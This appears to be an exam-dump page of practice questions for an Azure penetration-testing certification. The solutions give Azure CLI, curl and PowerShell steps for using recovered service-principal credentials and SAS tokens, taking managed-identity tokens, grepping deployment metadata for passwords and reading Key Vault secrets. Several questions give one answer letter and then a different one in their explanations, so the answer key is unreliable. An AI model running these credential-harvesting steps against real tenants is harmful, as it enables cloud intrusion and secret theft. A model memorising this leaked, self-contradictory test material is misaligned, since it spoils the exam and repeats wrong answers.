[Jul 28, 2026] CCPenX-Az Exam Dumps - The SecOps Group Practice Test Questions
New Real CCPenX-Az Exam Dumps Questions
NEW QUESTION # 13
Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?
- A. None of the above
- B. Container Apps Reader Role
- C. Cosmos DB Built-in Data Reader
- D. Key Vault Secrets User
Answer: D
Explanation:
Detailed Solution:
Use the app registration credentials recovered from blob storage.
az login --service-principal \
-u ' < client-id > ' \
-p ' < client-secret > ' \
--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Confirm that you are authenticated as a service principal:
az account show
Now enumerate role assignments for the app registration.
az role assignment list \
--assignee ' < client-id > ' \
--all \
--output table
If the --assignee lookup fails, first resolve the service principal object ID:
az ad sp show \
--id ' < client-id > ' \
--query id \
--output tsv
Then query role assignments by object ID:
SP_OBJECT_ID=$(az ad sp show --id ' < client-id > ' --query id -o tsv)
az role assignment list \
--assignee " $SP_OBJECT_ID " \
--all \
--output table
The assigned role is:
Key Vault Secrets User
This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.
Final answer:
A). Key Vault Secrets User
NEW QUESTION # 14
A virtual machine has a system-assigned managed identity. From the VM shell, which Azure CLI command authenticates using that identity?
- A. az ad signed-in-user show
- B. az login --identity
- C. az login --service-principal
- D. az account get-access-token --tenant
Answer: B
NEW QUESTION # 15
A compromised developer account has Reader access to a resource group. Enumerate all Azure resources in that resource group and identify the exposed App Service name.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
finance-reporting-api
Detailed Solution:
Set the resource group:
RG= " rg-prod-apps-eastus "
List resources:
az resource list \
--resource-group " $RG " \
--output table
Expected output:
Name ResourceGroup Location Type
---------------------- --------------------- ---------- ------------------------------- finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults The exposed App Service is:
finance-reporting-api
NEW QUESTION # 16
After authenticating as the service principal, enumerate its assigned Azure RBAC role. Which role does it have?
- A. Contributor
- B. Storage Account Contributor
- C. Reader
- D. Owner
Answer: A
Explanation:
Detailed Solution:
Resolve the service principal object ID:
az ad sp show \
--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
--query id \
--output tsv
Then list role assignments:
SP_OBJECT_ID=$(az ad sp show \
--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
--query id \
--output tsv)
az role assignment list \
--assignee " $SP_OBJECT_ID " \
--all \
--output table
Expected output:
Principal Role Scope
------------------------------------ ----------- ----------------------------------------
< sp-object-id > Contributor /subscriptions/5d8e44ac-...
Correct answer:
B). Contributor
NEW QUESTION # 17
While exploring the table storage, you've uncovered information that provides limited access to a storage account. Using this access, enumerate the blob containers. Which of the following containers is available?
- A. private-data
- B. confidential-store
- C. sensitive-files
- D. secure-dumps
Answer: C
Explanation:
Detailed Solution:
From Q7, you should recover a limited-access SAS token or storage access information.
Set the storage account name and SAS token:
ACCOUNT= " excaliburstore "
SAS= " < recovered-sas-token > "
List containers:
az storage container list \
--account-name " $ACCOUNT " \
--sas-token " $SAS " \
--output table
The available container is:
sensitive-files
You can also confirm directly:
az storage blob list \
--account-name " $ACCOUNT " \
--container-name sensitive-files \
--sas-token " $SAS " \
--output table
Final answer:
C). sensitive-files
NEW QUESTION # 18
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
NEW QUESTION # 19
During App Service enumeration, you discover that the compromised user can read App Service application settings. Find the hidden flag stored in the application settings.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{app_settings_should_not_store_secrets}
Detailed Solution:
Query App Service settings:
az webapp config appsettings list \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--output json
Search for suspicious keys:
az webapp config appsettings list \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \
--output table
Expected output:
Name SlotSetting Value
---------- ------------- ----------------------------------------
APP_FLAG False Flag{app_settings_should_not_store_secrets}
The flag is:
Flag{app_settings_should_not_store_secrets}
NEW QUESTION # 20
The compromised service principal has Contributor access to a resource group but no direct Key Vault data- plane role. Can it immediately read Key Vault secret values?
- A. No, Contributor does not automatically grant Key Vault secret data-plane read
- B. Yes, Contributor includes secret read permissions
- C. No, service principals cannot access Key Vault
- D. Yes, if the vault is in the same resource group
Answer: A
Explanation:
Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \
--vault-name kv-finance-prod \
--name db-password \
--query value \
--output tsv
Expected failure:
Forbidden
Correct answer:
B). No, Contributor does not automatically grant Key Vault secret data-plane read Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.
NEW QUESTION # 21
You find a SAS token in a table entity. The token starts with:
?sv=2025-01-05 & ss=b & srt=sco & sp=rl & se=2026-08-01T00:00:00Z
Which permissions does sp=rl grant?
- A. Read and Write
- B. Write and Delete
- C. List and Delete
- D. Read and List
Answer: D
Explanation:
Detailed Solution:
In Azure Storage SAS tokens, sp means signed permissions.
For blob/container access:
r = read
l = list
w = write
d = delete
c = create
a = add
Given:
sp=rl
The permissions are:
Read + List
Correct answer:
A). Read and List
SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.
NEW QUESTION # 22
A managed identity has Key Vault Secrets User access to kv-finance-prod. Enumerate secrets and retrieve the hidden flag.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{managed_identity_can_read_keyvault_secrets}
Detailed Solution:
List Key Vaults:
az keyvault list --output table
List secrets:
az keyvault secret list \
--vault-name kv-finance-prod \
--output table
Expected output:
Name Enabled
---------------- --------
db-password True
api-token True
internal-flag True
Retrieve the flag secret:
az keyvault secret show \
--vault-name kv-finance-prod \
--name internal-flag \
--query value \
--output tsv
Expected value:
Flag{managed_identity_can_read_keyvault_secrets}
Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.
NEW QUESTION # 23
Using the managed identity principal ID discovered in the previous task, identify which Azure RBAC role is assigned to it.
- A. Contributor
- B. Storage Blob Data Reader
- C. Key Vault Secrets User
- D. Reader
Answer: C
Explanation:
Detailed Solution:
Query role assignments for the managed identity principal:
az role assignment list \
--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \
--all \
--output table
Expected output:
Principal Role Scope
------------------------------------ ---------------------- ---------------------------------------------- b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod- apps-eastus The assigned role is:
Key Vault Secrets User
Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.
NEW QUESTION # 24
Inside the public blob container, a file named backup-config.json contains service principal credentials. What field contains the App Registration client ID?
- A. tenantId
- B. clientId
- C. clientSecret
- D. objectId
Answer: B
Explanation:
Detailed Solution:
Download the blob:
az storage blob download \
--account-name prodreportstore01 \
--container-name public-backups \
--name backup-config.json \
--file backup-config.json \
--auth-mode login
Read the file:
cat backup-config.json
Expected structure:
{
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,
" clientSecret " : " REDACTED "
}
The App Registration application/client ID is stored in:
clientId
NEW QUESTION # 25
From inside the App Service environment, request an Azure Resource Manager token using the managed identity endpoint. Which resource value should be requested for Azure Resource Manager access?
- A. https://storage.azure.com/
- B. https://graph.microsoft.com/
- C. https://management.azure.com/
- D. https://vault.azure.net/
Answer: C
Explanation:
Detailed Solution:
For Azure Resource Manager API calls, the token audience/resource must be:
https://management.azure.com/
Inside App Service Kudu/console, request the token:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
The response contains:
{
" access_token " : " < jwt-token > " ,
" resource " : " https://management.azure.com/ " ,
" token_type " : " Bearer "
}
Correct option:
B). https://management.azure.com/
NEW QUESTION # 26
......
Pass Your CCPenX-Az Exam Easily with Accurate PDF Questions: https://itcert-online.newpassleader.com/The-SecOps-Group/CCPenX-Az-exam-preparation-materials.html